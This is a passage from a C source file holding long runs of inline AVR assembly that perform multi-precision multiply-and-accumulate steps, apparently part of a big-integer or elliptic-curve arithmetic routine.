11129 "add r23, r0 \n\t" \
11130 "adc r24, r25 \n\t" \
11131 "adc r22, r25 \n\t" \
11132 "st z+, r23 \n\t" \
11133 \
11134 "ld r4, x+ \n\t" \
11135 "ldi r23, 0 \n\t" \
11136 "mul r5, r21 \n\t" \
11137 "add r24, r0 \n\t" \
11138 "adc r22, r1 \n\t" \
11139 "adc r23, r25 \n\t" \
11140 "mul r6, r20 \n\t" \
11141 "add r24, r0 \n\t" \
11142 "adc r22, r1 \n\t" \
11143 "adc r23, r25 \n\t" \
11144 "mul r7, r19 \n\t" \
11145 "add r24, r0 \n\t" \
11146 "adc r22, r1 \n\t" \
11147 "adc r23, r25 \n\t" \
11148 "mul r8, r18 \n\t" \
11149 "add r24, r0 \n\t" \
11150 "adc r22, r1 \n\t" \
11151 "adc r23, r25 \n\t" \
11152 "mul r9, r17 \n\t" \
11153 "add r24, r0 \n\t" \
11154 "adc r22, r1 \n\t" \
11155 "adc r23, r25 \n\t" \
11156 "mul r10, r16 \n\t" \
11157 "add r24, r0 \n\t" \
11158 "adc r22, r1 \n\t" \
11159 "adc r23, r25 \n\t" \
11160 "mul r11, r15 \n\t" \
11161 "add r24, r0 \n\t" \
11162 "adc r22, r1 \n\t" \
11163 "adc r23, r25 \n\t" \
11164 "mul r2, r14 \n\t" \
11165 "add r24, r0 \n\t" \
11166 "adc r22, r1 \n\t" \
11167 "adc r23, r25 \n\t" \
11168 "mul r3, r13 \n\t" \
11169 "add r24, r0 \n\t" \
11170 "adc r22, r1 \n\t" \
11171 "adc r23, r25 \n\t" \
11172 "mul r4, r12 \n\t" \
11173 "add r24, r0 \n\t" \
11174 "adc r22, r1 \n\t" \
11175 "adc r23, r25 \n\t" \
11176 "ld r0, z \n\t" \
11177 "add r24, r0 \n\t" \
11178 "adc r22, r25 \n\t" \
11179 "adc r23, r25 \n\t" \
11180 "st z+, r24 \n\t" \
11181 \
11182 "ld r5, x+ \n\t" \
11183 "ldi r24, 0 \n\t" \
11184 "mul r6, r21 \n\t" \
11185 "add r22, r0 \n\t" \
11186 "adc r23, r1 \n\t" \
11187 "adc r24, r25 \n\t" \
11188 "mul r7, r20 \n\t" \
11189 "add r22, r0 \n\t" \
11190 "adc r23, r1 \n\t" \
11191 "adc r24, r25 \n\t" \
11192 "mul r8, r19 \n\t" \
11193 "add r22, r0 \n\t" \
11194 "adc r23, r1 \n\t" \
11195 "adc r24, r25 \n\t" \
11196 "mul r9, r18 \n\t" \
11197 "add r22, r0 \n\t" \
11198 "adc r23, r1 \n\t" \
11199 "adc r24, r25 \n\t" \
11200 "mul r10, r17 \n\t" \
11201 "add r22, r0 \n\t" \
11202 "adc r23, r1 \n\t" \
11203 "adc r24, r25 \n\t" \
11204 "mul r11, r16 \n\t" \
11205 "add r22, r0 \n\t" \
11206 "adc r23, r1 \n\t" \
11207 "adc r24, r25 \n\t" \
11208 "mul r2, r15 \n\t" \
11209 "add r22, r0 \n\t" \
11210 "adc r23, r1 \n\t" \
11211 "adc r24, r25 \n\t" \
11212 "mul r3, r14 \n\t" \
11213 "add r22, r0 \n\t" \
11214 "adc r23, r1 \n\t" \
11215 "adc r24, r25 \n\t" \
11216 "mul r4, r13 \n\t" \
11217 "add r22, r0 \n\t" \
11218 "adc r23, r1 \n\t" \
11219 "adc r24, r25 \n\t" \
11220 "mul r5, r12 \n\t" \
11221 "add r22, r0 \n\t" \
11222 "adc r23, r1 \n\t" \
11223 "adc r24, r25 \n\t" \
11224 "ld r0, z \n\t" \
11225 "add r22, r0 \n\t" \
11226 "adc r23, r25 \n\t" \
11227 "adc r24, r25 \n\t" \
11228 "st z+, r22 \n\t" \
11229 \
11230 "ld r6, x+ \n\t" \
11231 "ldi r22, 0 \n\t" \
11232 "mul r7, r21 \n\t" \
11233 "add r23, r0 \n\t" \
11234 "adc r24, r1 \n\t" \
11235 "adc r22, r25 \n\t" \
11236 "mul r8, r20 \n\t" \
11237 "add r23, r0 \n\t" \
11238 "adc r24, r1 \n\t" \
11239 "adc r22, r25 \n\t" \
11240 "mul r9, r19 \n\t" \
11241 "add r23, r0 \n\t" \
11242 "adc r24, r1 \n\t" \
11243 "adc r22, r25 \n\t" \
11244 "mul r10, r18 \n\t" \
11245 "add r23, r0 \n\t" \
11246 "adc r24, r1 \n\t" \
11247 "adc r22, r25 \n\t" \
11248 "mul r11, r17 \n\t" \
11249 "add r23, r0 \n\t" \
11250 "adc r24, r1 \n\t" \
11251 "adc r22, r25 \n\t" \
11252 "mul r2, r16 \n\t" \
11253 "add r23, r0 \n\t" \
11254 "adc r24, r1 \n\t" \
11255 "adc r22, r25 \n\t" \
11256 "mul r3, r15 \n\t" \
11257 "add r23, r0 \n\t" \
11258 "adc r24, r1 \n\t" \
11259 "adc r22, r25 \n\t" \
11260 "mul r4, r14 \n\t" \
11261 "add r23, r0 \n\t" \
11262 "adc r24, r1 \n\t" \
11263 "adc r22, r25 \n\t" \
11264 "mul r5, r13 \n\t" \
11265 "add r23, r0 \n\t" \
11266 "adc r24, r1 \n\t" \
11267 "adc r22, r25 \n\t" \
11268 "mul r6, r12 \n\t" \
11269 "add r23, r0 \n\t" \
11270 "adc r24, r1 \n\t" \
11271 "adc r22, r25 \n\t" \
11272 "ld r0, z \n\t" \
11273 "add r23, r0 \n\t" \
11274 "adc r24, r25 \n\t" \
11275 "adc r22, r25 \n\t" \
11276 "st z+, r23 \n\t" \
11277 \
11278 "ld r7, x+ \n\t" \
11279 "ldi r23, 0 \n\t" \
11280 "mul r8, r21 \n\t" \
11281 "add r24, r0 \n\t" \
11282 "adc r22, r1 \n\t" \
11283 "adc r23, r25 \n\t" \
11284 "mul r9, r20 \n\t" \
11285 "add r24, r0 \n\t" \
11286 "adc r22, r1 \n\t" \
11287 "adc r23, r25 \n\t" \
11288 "mul r10, r19 \n\t" \
11289 "add r24, r0 \n\t" \
11290 "adc r22, r1 \n\t" \
11291 "adc r23, r25 \n\t" \
11292 "mul r11, r18 \n\t" \
11293 "add r24, r0 \n\t" \
11294 "adc r22, r1 \n\t" \
11295 "adc r23, r25 \n\t" \
11296 "mul r2, r17 \n\t" \
11297 "add r24, r0 \n\t" \
11298 "adc r22, r1 \n\t" \
11299 "adc r23, r25 \n\t" \
11300 "mul r3, r16 \n\t" \
11301 "add r24, r0 \n\t" \
11302 "adc r22, r1 \n\t" \
11303 "adc r23, r25 \n\t" \
11304 "mul r4, r15 \n\t" \
11305 "add r24, r0 \n\t" \
11306 "adc r22, r1 \n\t" \
11307 "adc r23, r25 \n\t" \
11308 "mul r5, r14 \n\t" \
11309 "add r24, r0 \n\t" \
11310 "adc r22, r1 \n\t" \
11311 "adc r23, r25 \n\t" \
11312 "mul r6, r13 \n\t" \
11313 "add r24, r0 \n\t" \
11314 "adc r22, r1 \n\t" \
11315 "adc r23, r25 \n\t" \
11316 "mul r7, r12 \n\t" \
11317 "add r24, r0 \n\t" \
11318 "adc r22, r1 \n\t" \
11319 "adc r23, r25 \n\t" \
11320 "ld r0, z \n\t" \
11321 "add r24, r0 \n\t" \
11322 "adc r22, r25 \n\t" \
11323 "adc r23, r25 \n\t" \
11324 "st z+, r24 \n\t" \
11325 \
11326 "ld r8, x+ \n\t" \
11327 "ldi r24, 0 \n\t" \
11328 "mul r9, r21 \n\t" \
11329 "add r22, r0 \n\t" \
11330 "adc r23, r1 \n\t" \
11331 "adc r24, r25 \n\t" \
11332 "mul r10, r20 \n\t" \
11333 "add r22, r0 \n\t" \
11334 "adc r23, r1 \n\t" \
11335 "adc r24, r25 \n\t" \
11336 "mul r11, r19 \n\t" \
11337 "add r22, r0 \n\t" \
11338 "adc r23, r1 \n\t" \
11339 "adc r24, r25 \n\t" \
11340 "mul r2, r18 \n\t" \
11341 "add r22, r0 \n\t" \
11342 "adc r23, r1 \n\t" \
11343 "adc r24, r25 \n\t" \
11344 "mul r3, r17 \n\t" \
11345 "add r22, r0 \n\t" \
11346 "adc r23, r1 \n\t" \
11347 "adc r24, r25 \n\t" \
11348 "mul r4, r16 \n\t" \
11349 "add r22, r0 \n\t" \
11350 "adc r23, r1 \n\t" \
11351 "adc r24, r25 \n\t" \
11352 "mul r5, r15 \n\t" \
11353 "add r22, r0 \n\t" \
11354 "adc r23, r1 \n\t" \
11355 "adc r24, r25 \n\t" \
11356 "mul r6, r14 \n\t" \
11357 "add r22, r0 \n\t" \
11358 "adc r23, r1 \n\t" \
11359 "adc r24, r25 \n\t" \
11360 "mul r7, r13 \n\t" \
11361 "add r22, r0 \n\t" \
11362 "adc r23, r1 \n\t" \
11363 "adc r24, r25 \n\t" \
11364 "mul r8, r12 \n\t" \
11365 "add r22, r0 \n\t" \
11366 "adc r23, r1 \n\t" \
11367 "adc r24, r25 \n\t" \
11368 "ld r0, z \n\t" \
11369 "add r22, r0 \n\t" \
11370 "adc r23, r25 \n\t" \
11371 "adc r24, r25 \n\t" \
11372 "st z+, r22 \n\t" \
11373 \
11374 "ld r9, x+ \n\t" \
11375 "ldi r22, 0 \n\t" \
11376 "mul r10, r21 \n\t" \
11377 "add r23, r0 \n\t" \
11378 "adc r24, r1 \n\t" \
11379 "adc r22, r25 \n\t" \
11380 "mul r11, r20 \n\t" \
11381 "add r23, r0 \n\t" \
11382 "adc r24, r1 \n\t" \
11383 "adc r22, r25 \n\t" \
11384 "mul r2, r19 \n\t" \
11385 "add r23, r0 \n\t" \
11386 "adc r24, r1 \n\t" \
11387 "adc r22, r25 \n\t" \
11388 "mul r3, r18 \n\t" \
11389 "add r23, r0 \n\t" \
11390 "adc r24, r1 \n\t" \
11391 "adc r22, r25 \n\t" \
11392 "mul r4, r17 \n\t" \
11393 "add r23, r0 \n\t" \
11394 "adc r24, r1 \n\t" \
11395 "adc r22, r25 \n\t" \
11396 "mul r5, r16 \n\t" \
11397 "add r23, r0 \n\t" \
11398 "adc r24, r1 \n\t" \
11399 "adc r22, r25 \n\t" \
11400 "mul r6, r15 \n\t" \
11401 "add r23, r0 \n\t" \
11402 "adc r24, r1 \n\t" \
11403 "adc r22, r25 \n\t" \
11404 "mul r7, r14 \n\t" \
11405 "add r23, r0 \n\t" \
11406 "adc r24, r1 \n\t" \
11407 "adc r22, r25 \n\t" \
11408 "mul r8, r13 \n\t" \
11409 "add r23, r0 \n\t" \
11410 "adc r24, r1 \n\t" \
11411 "adc r22, r25 \n\t" \
11412 "mul r9, r12 \n\t" \
11413 "add r23, r0 \n\t" \
11414 "adc r24, r1 \n\t" \
11415 "adc r22, r25 \n\t" \
11416 "ld r0, z \n\t" \
11417 "add r23, r0 \n\t" \
11418 "adc r24, r25 \n\t" \
11419 "adc r22, r25 \n\t" \
11420 "st z+, r23 \n\t" \
11421 \
11422 "ld r10, x+ \n\t" \
11423 "ldi r23, 0 \n\t" \
11424 "mul r11, r21 \n\t" \
11425 "add r24, r0 \n\t" \
11426 "adc r22, r1 \n\t" \
11427 "adc r23, r25 \n\t" \
11428 "mul r2, r20 \n\t" \
11429 "add r24, r0 \n\t" \
11430 "adc r22, r1 \n\t" \
11431 "adc r23, r25 \n\t" \
11432 "mul r3, r19 \n\t" \
11433 "add r24, r0 \n\t" \
11434 "adc r22, r1 \n\t" \
11435 "adc r23, r25 \n\t" \
11436 "mul r4, r18 \n\t" \
11437 "add r24, r0 \n\t" \
11438 "adc r22, r1 \n\t" \
11439 "adc r23, r25 \n\t" \
11440 "mul r5, r17 \n\t" \
11441 "add r24, r0 \n\t" \
11442 "adc r22, r1 \n\t" \
11443 "adc r23, r25 \n\t" \
11444 "mul r6, r16 \n\t" \
11445 "add r24, r0 \n\t" \
11446 "adc r22, r1 \n\t" \
11447 "adc r23, r25 \n\t" \
11448 "mul r7, r15 \n\t" \
11449 "add r24, r0 \n\t" \
11450 "adc r22, r1 \n\t" \
11451 "adc r23, r25 \n\t" \
11452 "mul r8, r14 \n\t" \
11453 "add r24, r0 \n\t" \
11454 "adc r22, r1 \n\t" \
11455 "adc r23, r25 \n\t" \
11456 "mul r9, r13 \n\t" \
11457 "add r24, r0 \n\t" \
11458 "adc r22, r1 \n\t" \
11459 "adc r23, r25 \n\t" \
11460 "mul r10, r12 \n\t" \
11461 "add r24, r0 \n\t" \
11462 "adc r22, r1 \n\t" \
11463 "adc r23, r25 \n\t" \
11464 "ld r0, z \n\t" \
11465 "add r24, r0 \n\t" \
11466 "adc r22, r25 \n\t" \
11467 "adc r23, r25 \n\t" \
11468 "st z+, r24 \n\t" \
11469 \
11470 "ld r11, x+ \n\t" \
11471 "ldi r24, 0 \n\t" \
11472 "mul r2, r21 \n\t" \
11473 "add r22, r0 \n\t" \
11474 "adc r23, r1 \n\t" \
11475 "adc r24, r25 \n\t" \
11476 "mul r3, r20 \n\t" \
11477 "add r22, r0 \n\t" \
11478 "adc r23, r1 \n\t" \
11479 "adc r24, r25 \n\t" \
11480 "mul r4, r19 \n\t" \
11481 "add r22, r0 \n\t" \
11482 "adc r23, r1 \n\t" \
11483 "adc r24, r25 \n\t" \
11484 "mul r5, r18 \n\t" \
11485 "add r22, r0 \n\t" \
11486 "adc r23, r1 \n\t" \
11487 "adc r24, r25 \n\t" \
11488 "mul r6, r17 \n\t" \
11489 "add r22, r0 \n\t" \
11490 "adc r23, r1 \n\t" \
11491 "adc r24, r25 \n\t" \
11492 "mul r7, r16 \n\t" \
11493 "add r22, r0 \n\t" \
11494 "adc r23, r1 \n\t" \
11495 "adc r24, r25 \n\t" \
11496 "mul r8, r15 \n\t" \
11497 "add r22, r0 \n\t" \
11498 "adc r23, r1 \n\t" \
11499 "adc r24, r25 \n\t" \
11500 "mul r9, r14 \n\t" \
11501 "add r22, r0 \n\t" \
11502 "adc r23, r1 \n\t" \
11503 "adc r24, r25 \n\t" \
11504 "mul r10, r13 \n\t" \
11505 "add r22, r0 \n\t" \
11506 "adc r23, r1 \n\t" \
11507 "adc r24, r25 \n\t" \
11508 "mul r11, r12 \n\t" \
11509 "add r22, r0 \n\t" \
11510 "adc r23, r1 \n\t" \
11511 "adc r24, r25 \n\t" \
11512 "ld r0, z \n\t" \
11513 "add r22, r0 \n\t" \
11514 "adc r23, r25 \n\t" \
11515 "adc r24, r25 \n\t" \
11516 "st z+, r22 \n\t" \
11517 \
11518 "ld r2, x+ \n\t" \
11519 "ldi r22, 0 \n\t" \
11520 "mul r3, r21 \n\t" \
11521 "add r23, r0 \n\t" \
11522 "adc r24, r1 \n\t" \
11523 "adc r22, r25 \n\t" \
11524 "mul r4, r20 \n\t" \
11525 "add r23, r0 \n\t" \
11526 "adc r24, r1 \n\t" \
11527 "adc r22, r25 \n\t" \
11528 "mul r5, r19 \n\t" \
11529 "add r23, r0 \n\t" \
11530 "adc r24, r1 \n\t" \
11531 "adc r22, r25 \n\t" \
11532 "mul r6, r18 \n\t" \
11533 "add r23, r0 \n\t" \
11534 "adc r24, r1 \n\t" \
11535 "adc r22, r25 \n\t" \
11536 "mul r7, r17 \n\t" \
11537 "add r23, r0 \n\t" \
11538 "adc r24, r1 \n\t" \
11539 "adc r22, r25 \n\t" \
11540 "mul r8, r16 \n\t" \
11541 "add r23, r0 \n\t" \
11542 "adc r24, r1 \n\t" \
11543 "adc r22, r25 \n\t" \
11544 "mul r9, r15 \n\t" \
11545 "add r23, r0 \n\t" \
11546 "adc r24, r1 \n\t" \
11547 "adc r22, r25 \n\t" \
11548 "mul r10, r14 \n\t" \
11549 "add r23, r0 \n\t" \
11550 "adc r24, r1 \n\t" \
11551 "adc r22, r25 \n\t" \
11552 "mul r11, r13 \n\t" \
11553 "add r23, r0 \n\t" \
11554 "adc r24, r1 \n\t" \
11555 "adc r22, r25 \n\t" \
11556 "mul r2, r12 \n\t" \
11557 "add r23, r0 \n\t" \
11558 "adc r24, r1 \n\t" \
11559 "adc r22, r25 \n\t" \
11560 "ld r0, z \n\t" \
11561 "add r23, r0 \n\t" \
11562 "adc r24, r25 \n\t" \
11563 "adc r22, r25 \n\t" \
11564 "st z+, r23 \n\t" \
11565 \
11566 "ld r3, x+ \n\t" \
11567 "ldi r23, 0 \n\t" \
11568 "mul r4, r21 \n\t" \
11569 "add r24, r0 \n\t" \
11570 "adc r22, r1 \n\t" \
11571 "adc r23, r25 \n\t" \
11572 "mul r5, r20 \n\t" \
11573 "add r24, r0 \n\t" \
11574 "adc r22, r1 \n\t" \
11575 "adc r23, r25 \n\t" \
11576 "mul r6, r19 \n\t" \
11577 "add r24, r0 \n\t" \
11578 "adc r22, r1 \n\t" \
11579 "adc r23, r25 \n\t" \
11580 "mul r7, r18 \n\t" \
11581 "add r24, r0 \n\t" \
11582 "adc r22, r1 \n\t" \
11583 "adc r23, r25 \n\t" \
11584 "mul r8, r17 \n\t" \
11585 "add r24, r0 \n\t" \
11586 "adc r22, r1 \n\t" \
11587 "adc r23, r25 \n\t" \
11588 "mul r9, r16 \n\t" \
11589 "add r24, r0 \n\t" \
11590 "adc r22, r1 \n\t" \
11591 "adc r23, r25 \n\t" \
11592 "mul r10, r15 \n\t" \
11593 "add r24, r0 \n\t" \
11594 "adc r22, r1 \n\t" \
11595 "adc r23, r25 \n\t" \
11596 "mul r11, r14 \n\t" \
11597 "add r24, r0 \n\t" \
11598 "adc r22, r1 \n\t" \
11599 "adc r23, r25 \n\t" \
11600 "mul r2, r13 \n\t" \
11601 "add r24, r0 \n\t" \
11602 "adc r22, r1 \n\t" \
11603 "adc r23, r25 \n\t" \
11604 "mul r3, r12 \n\t" \
11605 "add r24, r0 \n\t" \
11606 "adc r22, r1 \n\t" \
11607 "adc r23, r25 \n\t" \
11608 "ld r0, z \n\t" \
11609 "add r24, r0 \n\t" \
11610 "adc r22, r25 \n\t" \
11611 "adc r23, r25 \n\t" \
11612 "st z+, r24 \n\t" \
11613 \
11614 "ld r4, x+ \n\t" \
11615 "ldi r24, 0 \n\t" \
11616 "mul r5, r21 \n\t" \
11617 "add r22, r0 \n\t" \
11618 "adc r23, r1 \n\t" \
11619 "adc r24, r25 \n\t" \
11620 "mul r6, r20 \n\t" \
11621 "add r22, r0 \n\t" \
11622 "adc r23, r1 \n\t" \
11623 "adc r24, r25 \n\t" \
11624 "mul r7, r19 \n\t" \
11625 "add r22, r0 \n\t" \
11626 "adc r23, r1 \n\t" \
11627 "adc r24, r25 \n\t" \
11628 "mul r8, r18 \n\t" \
11629 "add r22, r0 \n\t" \
11630 "adc r23, r1 \n\t" \
11631 "adc r24, r25 \n\t" \
11632 "mul r9, r17 \n\t" \
11633 "add r22, r0 \n\t" \
11634 "adc r23, r1 \n\t" \
11635 "adc r24, r25 \n\t" \
11636 "mul r10, r16 \n\t" \
11637 "add r22, r0 \n\t" \
11638 "adc r23, r1 \n\t" \
11639 "adc r24, r25 \n\t" \
11640 "mul r11, r15 \n\t" \
11641 "add r22, r0 \n\t" \
11642 "adc r23, r1 \n\t" \
11643 "adc r24, r25 \n\t" \
11644 "mul r2, r14 \n\t" \
11645 "add r22, r0 \n\t" \
11646 "adc r23, r1 \n\t" \
11647 "adc r24, r25 \n\t" \
11648 "mul r3, r13 \n\t" \
11649 "add r22, r0 \n\t" \
11650 "adc r23, r1 \n\t" \
11651 "adc r24, r25 \n\t" \
11652 "mul r4, r12 \n\t" \
11653 "add r22, r0 \n\t" \
11654 "adc r23, r1 \n\t" \
11655 "adc r24, r25 \n\t" \
11656 "ld r0, z \n\t" \
11657 "add r22, r0 \n\t" \
11658 "adc r23, r25 \n\t" \
11659 "adc r24, r25 \n\t" \
11660 "st z+, r22 \n\t" \
11661 \
11662 "ld r5, x+ \n\t" \
11663 "ldi r22, 0 \n\t" \
11664 "mul r6, r21 \n\t" \
11665 "add r23, r0 \n\t" \
11666 "adc r24, r1 \n\t" \
11667 "adc r22, r25 \n\t" \
11668 "mul r7, r20 \n\t" \
11669 "add r23, r0 \n\t" \
11670 "adc r24, r1 \n\t" \
11671 "adc r22, r25 \n\t" \
11672 "mul r8, r19 \n\t" \
11673 "add r23, r0 \n\t" \
11674 "adc r24, r1 \n\t" \
11675 "adc r22, r25 \n\t" \
11676 "mul r9, r18 \n\t" \
11677 "add r23, r0 \n\t" \
11678 "adc r24, r1 \n\t" \
11679 "adc r22, r25 \n\t" \
11680 "mul r10, r17 \n\t" \
11681 "add r23, r0 \n\t" \
11682 "adc r24, r1 \n\t" \
11683 "adc r22, r25 \n\t" \
11684 "mul r11, r16 \n\t" \
11685 "add r23, r0 \n\t" \
11686 "adc r24, r1 \n\t" \
11687 "adc r22, r25 \n\t" \
11688 "mul r2, r15 \n\t" \
11689 "add r23, r0 \n\t" \
11690 "adc r24, r1 \n\t" \
11691 "adc r22, r25 \n\t" \
11692 "mul r3, r14 \n\t" \
11693 "add r23, r0 \n\t" \
11694 "adc r24, r1 \n\t" \
11695 "adc r22, r25 \n\t" \
11696 "mul r4, r13 \n\t" \
11697 "add r23, r0 \n\t" \
11698 "adc r24, r1 \n\t" \
11699 "adc r22, r25 \n\t" \
11700 "mul r5, r12 \n\t" \
11701 "add r23, r0 \n\t" \
11702 "adc r24, r1 \n\t" \
11703 "adc r22, r25 \n\t" \
11704 "ld r0, z \n\t" \
11705 "add r23, r0 \n\t" \
11706 "adc r24, r25 \n\t" \
11707 "adc r22, r25 \n\t" \
11708 "st z+, r23 \n\t" \
11709 \
11710 "ld r6, x+ \n\t" \
11711 "ldi r23, 0 \n\t" \
11712 "mul r7, r21 \n\t" \
11713 "add r24, r0 \n\t" \
11714 "adc r22, r1 \n\t" \
11715 "adc r23, r25 \n\t" \
11716 "mul r8, r20 \n\t" \
11717 "add r24, r0 \n\t" \
11718 "adc r22, r1 \n\t" \
11719 "adc r23, r25 \n\t" \
11720 "mul r9, r19 \n\t" \
11721 "add r24, r0 \n\t" \
11722 "adc r22, r1 \n\t" \
11723 "adc r23, r25 \n\t" \
11724 "mul r10, r18 \n\t" \
11725 "add r24, r0 \n\t" \
11726 "adc r22, r1 \n\t" \
11727 "adc r23, r25 \n\t" \
11728 "mul r11, r17 \n\t" \
11729 "add r24, r0 \n\t" \
11730 "adc r22, r1 \n\t" \
11731 "adc r23, r25 \n\t" \
11732 "mul r2, r16 \n\t" \
11733 "add r24, r0 \n\t" \
11734 "adc r22, r1 \n\t" \
11735 "adc r23, r25 \n\t" \
11736 "mul r3, r15 \n\t" \
11737 "add r24, r0 \n\t" \
11738 "adc r22, r1 \n\t" \
11739 "adc r23, r25 \n\t" \
11740 "mul r4, r14 \n\t" \
11741 "add r24, r0 \n\t" \
11742 "adc r22, r1 \n\t" \
11743 "adc r23, r25 \n\t" \
11744 "mul r5, r13 \n\t" \
11745 "add r24, r0 \n\t" \
11746 "adc r22, r1 \n\t" \
11747 "adc r23, r25 \n\t" \
11748 "mul r6, r12 \n\t" \
11749 "add r24, r0 \n\t" \
11750 "adc r22, r1 \n\t" \
11751 "adc r23, r25 \n\t" \
11752 "ld r0, z \n\t" \
11753 "add r24, r0 \n\t" \
11754 "adc r22, r25 \n\t" \
11755 "adc r23, r25 \n\t" \
11756 "st z+, r24 \n\t" \
11757 \
11758 "ld r7, x+ \n\t" \
11759 "ldi r24, 0 \n\t" \
11760 "mul r8, r21 \n\t" \
11761 "add r22, r0 \n\t" \
11762 "adc r23, r1 \n\t" \
11763 "adc r24, r25 \n\t" \
11764 "mul r9, r20 \n\t" \
11765 "add r22, r0 \n\t" \
11766 "adc r23, r1 \n\t" \
11767 "adc r24, r25 \n\t" \
11768 "mul r10, r19 \n\t" \
11769 "add r22, r0 \n\t" \
11770 "adc r23, r1 \n\t" \
11771 "adc r24, r25 \n\t" \
11772 "mul r11, r18 \n\t" \
11773 "add r22, r0 \n\t" \
11774 "adc r23, r1 \n\t" \
11775 "adc r24, r25 \n\t" \
11776 "mul r2, r17 \n\t" \
11777 "add r22, r0 \n\t" \
11778 "adc r23, r1 \n\t" \
11779 "adc r24, r25 \n\t" \
11780 "mul r3, r16 \n\t" \
11781 "add r22, r0 \n\t" \
11782 "adc r23, r1 \n\t" \
11783 "adc r24, r25 \n\t" \
11784 "mul r4, r15 \n\t" \
11785 "add r22, r0 \n\t" \
11786 "adc r23, r1 \n\t" \
11787 "adc r24, r25 \n\t" \
11788 "mul r5, r14 \n\t" \
11789 "add r22, r0 \n\t" \
11790 "adc r23, r1 \n\t" \
11791 "adc r24, r25 \n\t" \
11792 "mul r6, r13 \n\t" \
11793 "add r22, r0 \n\t" \
11794 "adc r23, r1 \n\t" \
11795 "adc r24, r25 \n\t" \
11796 "mul r7, r12 \n\t" \
11797 "add r22, r0 \n\t" \
11798 "adc r23, r1 \n\t" \
11799 "adc r24, r25 \n\t" \
11800 "ld r0, z \n\t" \
11801 "add r22, r0 \n\t" \
11802 "adc r23, r25 \n\t" \
11803 "adc r24, r25 \n\t" \
11804 "st z+, r22 \n\t" \
11805 \
11806 "ld r8, x+ \n\t" \
11807 "ldi r22, 0 \n\t" \
11808 "mul r9, r21 \n\t" \
11809 "add r23, r0 \n\t" \
11810 "adc r24, r1 \n\t" \
11811 "adc r22, r25 \n\t" \
11812 "mul r10, r20 \n\t" \
11813 "add r23, r0 \n\t" \
11814 "adc r24, r1 \n\t" \
11815 "adc r22, r25 \n\t" \
11816 "mul r11, r19 \n\t" \
11817 "add r23, r0 \n\t" \
11818 "adc r24, r1 \n\t" \
11819 "adc r22, r25 \n\t" \
11820 "mul r2, r18 \n\t" \
11821 "add r23, r0 \n\t" \
11822 "adc r24, r1 \n\t" \
11823 "adc r22, r25 \n\t" \
11824 "mul r3, r17 \n\t" \
11825 "add r23, r0 \n\t" \
11826 "adc r24, r1 \n\t" \
11827 "adc r22, r25 \n\t" \
11828 "mul r4, r16 \n\t" \
11829 "add r23, r0 \n\t" \
11830 "adc r24, r1 \n\t" \
11831 "adc r22, r25 \n\t" \
11832 "mul r5, r15 \n\t" \
11833 "add r23, r0 \n\t" \
11834 "adc r24, r1 \n\t" \
11835 "adc r22, r25 \n\t" \
11836 "mul r6, r14 \n\t" \
11837 "add r23, r0 \n\t" \
11838 "adc r24, r1 \n\t" \
11839 "adc r22, r25 \n\t" \
11840 "mul r7, r13 \n\t" \
11841 "add r23, r0 \n\t" \
11842 "adc r24, r1 \n\t" \
11843 "adc r22, r25 \n\t" \
11844 "mul r8, r12 \n\t" \
11845 "add r23, r0 \n\t" \
11846 "adc r24, r1 \n\t" \
11847 "adc r22, r25 \n\t" \
11848 "ld r0, z \n\t" \
11849 "add r23, r0 \n\t" \
11850 "adc r24, r25 \n\t" \
11851 "adc r22, r25 \n\t" \
11852 "st z+, r23 \n\t" \
11853 \
11854 "ld r9, x+ \n\t" \
11855 "ldi r23, 0 \n\t" \
11856 "mul r10, r21 \n\t" \
11857 "add r24, r0 \n\t" \
11858 "adc r22, r1 \n\t" \
11859 "adc r23, r25 \n\t" \
11860 "mul r11, r20 \n\t" \
11861 "add r24, r0 \n\t" \
11862 "adc r22, r1 \n\t" \
11863 "adc r23, r25 \n\t" \
11864 "mul r2, r19 \n\t" \
11865 "add r24, r0 \n\t" \
11866 "adc r22, r1 \n\t" \
11867 "adc r23, r25 \n\t" \
11868 "mul r3, r18 \n\t" \
11869 "add r24, r0 \n\t" \
11870 "adc r22, r1 \n\t" \
11871 "adc r23, r25 \n\t" \
11872 "mul r4, r17 \n\t" \
11873 "add r24, r0 \n\t" \
11874 "adc r22, r1 \n\t" \
11875 "adc r23, r25 \n\t" \
11876 "mul r5, r16 \n\t" \
11877 "add r24, r0 \n\t" \
11878 "adc r22, r1 \n\t" \
11879 "adc r23, r25 \n\t" \
11880 "mul r6, r15 \n\t" \
11881 "add r24, r0 \n\t" \
11882 "adc r22, r1 \n\t" \
11883 "adc r23, r25 \n\t" \
11884 "mul r7, r14 \n\t" \
11885 "add r24, r0 \n\t" \
11886 "adc r22, r1 \n\t" \
11887 "adc r23, r25 \n\t" \
11888 "mul r8, r13 \n\t" \
11889 "add r24, r0 \n\t" \
11890 "adc r22, r1 \n\t" \
11891 "adc r23, r25 \n\t" \
11892 "mul r9, r12 \n\t" \
11893 "add r24, r0 \n\t" \
11894 "adc r22, r1 \n\t" \
11895 "adc r23, r25 \n\t" \
11896 "ld r0, z \n\t" \
11897 "add r24, r0 \n\t" \
11898 "adc r22, r25 \n\t" \
11899 "adc r23, r25 \n\t" \
11900 "st z+, r24 \n\t" \
11901 \
11902 "ld r10, x+ \n\t" \
11903 "ldi r24, 0 \n\t" \
11904 "mul r11, r21 \n\t" \
11905 "add r22, r0 \n\t" \
11906 "adc r23, r1 \n\t" \
11907 "adc r24, r25 \n\t" \
11908 "mul r2, r20 \n\t" \
11909 "add r22, r0 \n\t" \
11910 "adc r23, r1 \n\t" \
11911 "adc r24, r25 \n\t" \
11912 "mul r3, r19 \n\t" \
11913 "add r22, r0 \n\t" \
11914 "adc r23, r1 \n\t" \
11915 "adc r24, r25 \n\t" \
11916 "mul r4, r18 \n\t" \
11917 "add r22, r0 \n\t" \
11918 "adc r23, r1 \n\t" \
11919 "adc r24, r25 \n\t" \
11920 "mul r5, r17 \n\t" \
11921 "add r22, r0 \n\t" \
11922 "adc r23, r1 \n\t" \
11923 "adc r24, r25 \n\t" \
11924 "mul r6, r16 \n\t" \
11925 "add r22, r0 \n\t" \
11926 "adc r23, r1 \n\t" \
11927 "adc r24, r25 \n\t" \
11928 "mul r7, r15 \n\t" \
11929 "add r22, r0 \n\t" \
11930 "adc r23, r1 \n\t" \
11931 "adc r24, r25 \n\t" \
11932 "mul r8, r14 \n\t" \
11933 "add r22, r0 \n\t" \
11934 "adc r23, r1 \n\t" \
11935 "adc r24, r25 \n\t" \
11936 "mul r9, r13 \n\t" \
11937 "add r22, r0 \n\t" \
11938 "adc r23, r1 \n\t" \
11939 "adc r24, r25 \n\t" \
11940 "mul r10, r12 \n\t" \
11941 "add r22, r0 \n\t" \
